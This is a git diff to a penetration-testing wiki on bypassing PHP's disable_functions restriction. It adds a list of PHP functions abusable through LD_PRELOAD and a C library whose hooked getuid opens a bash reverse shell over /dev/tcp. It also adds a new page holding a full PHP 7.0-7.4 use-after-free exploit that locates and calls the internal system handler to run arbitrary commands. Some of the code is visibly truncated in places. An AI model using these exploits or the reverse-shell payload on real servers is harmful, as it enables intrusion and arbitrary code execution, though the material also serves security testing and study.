diff --git a/SUMMARY.md b/SUMMARY.md index 91051723..2bcf2e3e 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -196,6 +196,7 @@ * [Nginx](pentesting/pentesting-web/nginx.md) * [PHP Tricks \(SPA\)](pentesting/pentesting-web/php-tricks-esp/README.md) * [PHP - Useful Functions & disable\_functiosns/open\_basedir bypass](pentesting/pentesting-web/php-tricks-esp/php-useful-functions/README.md) + * [disable\_functions bypass - PHP 7.0-7.4 \(\*nix only\)](pentesting/pentesting-web/php-tricks-esp/php-useful-functions/disable_functions-bypass-php-7.0-7.4-nix-only.md) * [disable\_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md) * [disable\_functions - PHP 5.x Shellshock Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions/disable_functions-php-5.x-shellshock-exploit.md) * [disable\_functions - PHP 5.2.4 ionCube extension Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions/disable_functions-php-5.2.4-ioncube-extension-exploit.md) diff --git a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions/README.md b/pentesting/pentesting-web/php-tricks-esp/php-useful-functions/README.md index 19b597e4..46522c5d 100644 --- a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions/README.md +++ b/pentesting/pentesting-web/php-tricks-esp/php-useful-functions/README.md @@ -492,14 +492,46 @@ You may be thinking that just in the same way we have overwritten `open_basedir` If you manage have PHP code executing inside a machine you probably want to go to the next level and **execute arbitrary system commands**. In this situation is usually to discover that most or all the PHP **functions** that allow to **execute system commands have been disabled** in **`disable_functions`.** So, lets see how you can bypass this restriction \(if you can\) +### Automatic bypass discovery + +You can use the tool [https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) and it will indicate you which technique you can use to bypass `disable_functions`. + ### Bypassing using other system functions Just return to the begging of this page and **check if any of the command executing functions isn't disabled**. If you find just 1 of them, you will be able to use it to execute arbitrary system commands. -### Bypass using Chankro +### LD\_PRELOAD bypass It's well known that some functions in PHP like `mail()`are going to **execute binaries inside the system**. Therefore, you can abuse them using the environment variable `LD_PRELOAD` to make them load an arbitrary library that can execute anything. +#### Functions that can be used to bypass disable\_functions with LD\_PRELOAD + +1. `mail` +2. `mb_send_mail` : If your system has `php-mbstring` module installed then this function can be used to bypass php disable\_functions. +3. `imap_mail` : If your system has `php-imap` module installed then this function also can be used to bypass the php disable\_functions. +4. `libvirt_connect` : If your system has `php-libvirt-php` module installed then this function also can be used to bypass disable\_functions. +5. `gnupg_init` : If your system has `php-gnupg` module installed then this function also can be used to bypass disable\_functions. +6. `new imagick()`: You can [**find here a writeup**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/) to learn how to abuse this class + +You can find [**here**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) the fuzzing script that was used to find those functions. + +Here is a library you can compile to abuse the `LD_PRELOAD` env variable: + +```php +#include +#include +#include +#include + +uid_t getuid(void){ + unsetenv("LD_PRELOAD"); + system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\""); + return 1; +} +``` + +#### Bypass using Chankro + In order to abuse this misconfiguration you can [**Chankro**](https://github.com/TarlogicSecurity/Chankro). This is a tool that will **generate a PHP exploit** that you need to upload to the vulnerable server and execute it \(access it via web\). **Chankro** will write inside the victims disc the **library and the reverse shell** you want to execute and will use the**`LD_PRELOAD` trick + PHP `mail()`** function to execute the reverse shell. diff --git a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions/disable_functions-bypass-php-7.0-7.4-nix-only.md b/pentesting/pentesting-web/php-tricks-esp/php-useful-functions/disable_functions-bypass-php-7.0-7.4-nix-only.md new file mode 100644 index 00000000..42be1652 --- /dev/null +++ b/pentesting/pentesting-web/php-tricks-esp/php-useful-functions/disable_functions-bypass-php-7.0-7.4-nix-only.md @@ -0,0 +1,228 @@ +# disable\_functions bypass - PHP 7.0-7.4 \(\*nix only\) + +## PHP 7.0-7.4 \(\*nix only\) + +From [https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php](https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php) + +```php +a); + $backtrace = (new Exception)->getTrace(); # ;) + if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 + $backtrace = debug_backtrace(); + } + } + } + + class Helper { + public $a, $b, $c, $d; + } + + function str2ptr(&$str, $p = 0, $s = 8) { + $address = 0; + for($j = $s-1; $j >= 0; $j--) { + $address <<= 8; + $address |= ord($str[$p+$j]); + } + return $address; + } + + function ptr2str($ptr, $m = 8) { + $out = ""; + for ($i=0; $i < $m; $i++) { + $out .= chr($ptr & 0xff); + $ptr >>= 8; + } + return $out; + } + + function write(&$str, $p, $v, $n = 8) { + $i = 0; + for($i = 0; $i < $n; $i++) { + $str[$p + $i] = chr($v & 0xff); + $v >>= 8; + } + } + + function leak($addr, $p = 0, $s = 8) { + global $abc, $helper; + write($abc, 0x68, $addr + $p - 0x10); + $leak = strlen($helper->a); + if($s != 8) { $leak %= 2 << ($s * 8) - 1; } + return $leak; + } + + function parse_elf($base) { + $e_type = leak($base, 0x10, 2); + + $e_phoff = leak($base, 0x20); + $e_phentsize = leak($base, 0x36, 2); + $e_phnum = leak($base, 0x38, 2); + + for($i = 0; $i < $e_phnum; $i++) { + $header = $base + $e_phoff + $i * $e_phentsize; + $p_type = leak($header, 0, 4); + $p_flags = leak($header, 4, 4); + $p_vaddr = leak($header, 0x10); + $p_memsz = leak($header, 0x28); + + if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write + # handle pie + $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; + $data_size = $p_memsz; + } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec + $text_size = $p_memsz; + } + } + + if(!$data_addr || !$text_size || !$data_size) + return false; + + return [$data_addr, $text_size, $data_size]; + } + + function get_basic_funcs($base, $elf) { + list($data_addr, $text_size, $data_size) = $elf; + for($i = 0; $i < $data_size / 8; $i++) { + $leak = leak($data_addr, $i * 8); + if($leak - $base > 0 && $leak - $base < $data_addr - $base) { + $deref = leak($leak); + # 'constant' constant check + if($deref != 0x746e6174736e6f63) + continue; + } else continue; + + $leak = leak($data_addr, ($i + 4) * 8); + if($leak - $base > 0 && $leak - $base < $data_addr - $base) { + $deref = leak($leak); + # 'bin2hex' constant check + if($deref != 0x786568326e6962) + continue; + } else continue; + + return $data_addr + $i * 8; + } + } + + function get_binary_base($binary_leak) { + $base = 0; + $start = $binary_leak & 0xfffffffffffff000; + for($i = 0; $i < 0x1000; $i++) { + $addr = $start - 0x1000 * $i; + $leak = leak($addr, 0, 7); + if($leak == 0x10102464c457f) { # ELF header + return $addr; + } + } + } + + function get_system($basic_funcs) { + $addr = $basic_funcs; + do { + $f_entry = leak($addr); + $f_name = leak($f_entry, 0, 6); + + if($f_name == 0x6d6574737973) { # system + return leak($addr + 8); + } + $addr += 0x20; + } while($f_entry != 0); + return false; + } + + function trigger_uaf($arg) { + # str_shuffle prevents opcache string interning + $arg = str_shuffle(str_repeat('A', 79)); + $vuln = new Vuln(); + $vuln->a = $arg; + } + + if(stristr(PHP_OS, 'WIN')) { + die('This PoC is for *nix systems only.'); + } + + $n_alloc = 10; # increase this value if UAF fails + $contiguous = []; + for($i = 0; $i < $n_alloc; $i++) + $contiguous[] = str_shuffle(str_repeat('A', 79)); + + trigger_uaf('x'); + $abc = $backtrace[1]['args'][0]; + + $helper = new Helper; + $helper->b = function ($x) { }; + + if(strlen($abc) == 79 || strlen($abc) == 0) { + die("UAF failed"); + } + + # leaks + $closure_handlers = str2ptr($abc, 0); + $php_heap = str2ptr($abc, 0x58); + $abc_addr = $php_heap - 0xc8; + + # fake value + write($abc, 0x60, 2); + write($abc, 0x70, 6); + + # fake reference + write($abc, 0x10, $abc_addr + 0x60); + write($abc, 0x18, 0xa); + + $closure_obj = str2ptr($abc, 0x20); + + $binary_leak = leak($closure_handlers, 8); + if(!($base = get_binary_base($binary_leak))) { + die("Couldn't determine binary base address"); + } + + if(!($elf = parse_elf($base))) { + die("Couldn't parse ELF header"); + } + + if(!($basic_funcs = get_basic_funcs($base, $elf))) { + die("Couldn't get basic_functions address"); + } + + if(!($zif_system = get_system($basic_funcs))) { + die("Couldn't get zif_system address"); + } + + # fake closure object + $fake_obj_offset = 0xd0; + for($i = 0; $i < 0x110; $i += 8) { + write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); + } + + # pwn + write($abc, 0x20, $abc_addr + $fake_obj_offset); + write($abc, 0xd0 + 0x38, 1, 4); # internal func type + write($abc, 0xd0 + 0x68, $zif_system); # internal func handler + + ($helper->b)($cmd); + exit(); +} + +``` +